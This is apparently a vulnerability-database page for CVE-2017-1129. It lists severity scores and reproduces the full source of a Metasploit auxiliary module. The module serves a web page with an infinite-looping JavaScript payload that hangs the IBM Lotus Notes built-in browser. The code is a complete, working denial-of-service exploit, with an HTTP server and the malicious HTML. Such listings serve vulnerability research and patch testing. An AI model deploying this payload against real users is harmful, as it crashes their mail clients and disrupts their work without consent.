IBM Notes encodeURI DOS

2017-09-2312:57:50

Dhiraj Mishra

www.rapid7.com

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:N/I:N/A:P

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

EPSS

0.915

Percentile

99.0%

JSON

This module exploits a vulnerability in the native browser that comes with IBM Lotus Notes. If successful, it could cause the Notes client to hang and have to be restarted.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => "IBM Notes encodeURI DOS",
        'Description'    => %q(
          This module exploits a vulnerability in the native browser that comes with IBM Lotus Notes.
          If successful, it could cause the Notes client to hang and have to be restarted.
        ),
        'License'        => MSF_LICENSE,
        'Author'         => [
          'Dhiraj Mishra',
        ],
        'References'     => [
          [ 'EDB', '42602'],
          [ 'CVE', '2017-1129' ],
          [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21999385' ]
        ],
        'DisclosureDate' => '2017-08-31',
        'Actions'        => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
        'PassiveActions' => [ 'WebServer' ],
        'DefaultAction'  => 'WebServer'
      )
    )
  end

  def run
    exploit # start http server
  end

  def setup
    @html = %|
    <html><head><title>DOS</title>
<script type="text/javascript">
while (true) try {
                var object = { };
                function d(d0) {
                        var d0 = (object instanceof encodeURI)('foo');
                }
                d(75);
        } catch (d) { }
</script>
</head></html>
    |
  end

  def on_request_uri(cli, _request)
    print_status('Sending response')
    send_response(cli, @html)
  end
end